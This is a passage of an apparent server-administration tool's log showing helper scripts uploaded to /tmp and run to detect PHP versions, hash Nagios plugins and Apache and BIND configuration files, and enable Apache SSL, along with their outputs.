	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-20 18:54:51: 

chmod 755 /tmp/pkp824709; /tmp/pkp824709; rm /tmp/pkp824709

2026-04-20 18:54:51: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-04-20 18:54:51: 

PUT: /tmp/pkp746314

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-20 18:54:52: 

chmod 755 /tmp/pkp746314; /tmp/pkp746314; rm /tmp/pkp746314

2026-04-20 18:54:52: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_users)= c311ae83509dd25455baeca7902b345f
bin(/usr/local/nagios/libexec/check_ntp_time)= 52fe5b7ca7c188a32a6d64e736eac5b7
bin(/usr/local/nagios/libexec/check_by_ssh)= 51f1982a51d9a5ab4020232bebd8267e
bin(/usr/local/nagios/libexec/check_simap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_apt)= 41eb04d12e51926f39524239d22537ef
bin(/usr/local/nagios/libexec/check_tcp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_mrtg)= b5b32950455e141e9b67f0f4cdab132b
bin(/usr/local/nagios/libexec/check_dummy)= 871f3acbc6b4b2b033d6fd722f376250
bin(/usr/local/nagios/libexec/check_uptime)= ded53ef6ef4680fd5841719ac869c7e1
bin(/usr/local/nagios/libexec/check_ssh)= 2396c0ac050e99416d203993c1f2dcb0
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_real)= 01b293c07d5a62fcaf79ec34625538e6
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_nntps)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_swap)= 9aba1ea1d65970ba60f8946e5fb73c85
bin(/usr/local/nagios/libexec/check_time)= a0482e1b7c21e0ed9de4451103f73a77
bin(/usr/local/nagios/libexec/check_procs)= bc72e861001bd320f14048f13b0a5c95
bin(/usr/local/nagios/libexec/check_icmp)= 1124d94bcf823fbcd25ade7152252ae3
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 6b901883d174dd33916621ea53c12e36
bin(/usr/local/nagios/libexec/check_spop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nt)= 8a7b9cd0773680a085c6ba38f9760fd6
bin(/usr/local/nagios/libexec/check_encoder.php)= c22e9b08f01fe929c535c10cf0c610c3
bin(/usr/local/nagios/libexec/check_clamd)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_pop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_cluster)= 6a3a417d279d27775e047bdc5c1b5dce
bin(/usr/local/nagios/libexec/check_ntp_peer)= bf57bca35733628a94b78222a46a02f6
bin(/usr/local/nagios/libexec/check_http)= f0a4d9be23a8a890a436b4dc61cdfea0
bin(/usr/local/nagios/libexec/check_nntp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_nagios)= df5d35cbaadb0c3550c9463d38c5622a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_udp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_imap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ftp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nwstat)= a4663eef851d0ebc252e415e78b807cd
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_website)= 80eef1ef86eb3034ef686f8f3983c135
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ssmtp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ide_smart)= 29d0f800b7f3823d21bd444e86e83dd7
bin(/usr/local/nagios/libexec/check_ups)= 78db79cee08eebaa75a59f1cba536f75
bin(/usr/local/nagios/libexec/check_dns)= d11ffa1a24eebc4469d2d848fecc73d5
bin(/usr/local/nagios/libexec/check_raid)= d56bce7813a9a6e2be39576a71e6be88
bin(/usr/local/nagios/libexec/check_ntp)= 600191ef12bcda7add96ac823e4f509a
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_disk)= 6e28ad892b3e9d4f2e1c424caa467401
bin(/usr/local/nagios/libexec/check_load)= 609fbe0884b9d265ee2efb2306636142
bin(/usr/local/nagios/libexec/check_ping)= b0feeda323e47aec89d515918a69fd2b
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_toner.php)= 1c9096e45b272e90f863889d1ee97c29
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_dhcp)= 11af22e79dd5231fe387e003d27017b1
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_smtp)= 282bd82207faa6c16d3d9fc69d484ffc
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_jabber)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_overcr)= dcce712428ef42dcbe39e423c69f7f87
bin(/usr/local/nagios/libexec/check_dig)= f329f192e283dbbd3d8e71a5cf617d0b


2026-04-20 18:54:52: 

PUT: /tmp/pkp403070

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-20 18:54:52: 

chmod 755 /tmp/pkp403070; /tmp/pkp403070; rm /tmp/pkp403070

2026-04-20 18:54:52: 


status=ok


2026-04-20 18:54:52: 

PUT: /tmp/pkp909598

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 18:54:53: 

chmod 755 /tmp/pkp909598; /tmp/pkp909598; rm /tmp/pkp909598

2026-04-20 18:54:53: 
2026-04-20 18:54:53: 

PUT: /tmp/pkp669637

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hostz_pluto_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 18:54:54: 

chmod 755 /tmp/pkp669637; /tmp/pkp669637; rm /tmp/pkp669637

2026-04-20 18:54:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hostz_pluto_org.conf	702
<VirtualHost *:80>
    ServerName  pluto.hostz.org
    ServerAdmin do_not_email@example.com
    DocumentRoot        /var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Order   allow,deny
        allow   from all
    </Directory>

    CustomLog   /var/log/apache2/hostz/pluto_access.log combined
    ErrorLog    /var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid      28
    SetEnv pkp_owner    stoughton
    DirectoryIndex      index.html index.htm index.py

    ProxyRequests       off
    ProxyVia    on
    ProxyPass   / http://192.168.1.71/
    ProxyPassReverse    / http://192.168.1.71/

</VirtualHost>





(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/hostz_stoughton_us.conf)= 5184a155abacda25fdd0fe337c05c048
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 3b56d551efc01d0c43e75d36a83b45d1
MD5(/etc/apache2/sites-available/hostz_pluto_org.conf)= 15cc5d5f65eec70705493b08cea21069
MD5(/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf)= a008b1d959ff54c814ddd2d3374caaa7
MD5(/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4)= 6b358c9a19129a720ee195befd61b738
MD5(/etc/apache2/sites-available/hostz_church.conf)= 658db80c433869cf04aa6b47d3017a52
MD5(/etc/ssl/certs/hostz)= 0fb409790b96d8fbbd847223dae3c121
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fd0075a430840c023780838db658a0c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf)= 74bfe5f347fa1ad20c501d5e44136f27
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 95c8c2f7403843696efe2c2a4c76af12
MD5(/etc/apache2/sites-available/hopeinstoughton_internal-api_org.conf)= d147f4a08d63d10749c6fba967c2c8af
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 95c8c2f7403843696efe2c2a4c76af12
MD5(/etc/apache2/sites-available/hopeinstoughton_mixer_org.conf)= cc24533683eb89420b0559cfbdc7e448
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7)= 82ede0fdebf4915eb7173d94b2f3d865
MD5(/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf)= 5d929307ffa168be6c64c9e93d9cc35f
MD5(/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734)= a45fd1d2b83893175af3bafbe4fefa6e
link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2/sites-available/hostz_stoughton_us.conf
link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2/sites-available/hostz_pluto_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2/sites-available/hopeinstoughton_mixer_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf




STDERR:
/tmp/pkp909598:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-20 18:55:42: Establishing a connection
2026-04-20 18:55:42: 

PUT: /tmp/pkp357975

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 18:55:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp357975; rm /tmp/pkp357975'

2026-04-20 18:55:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
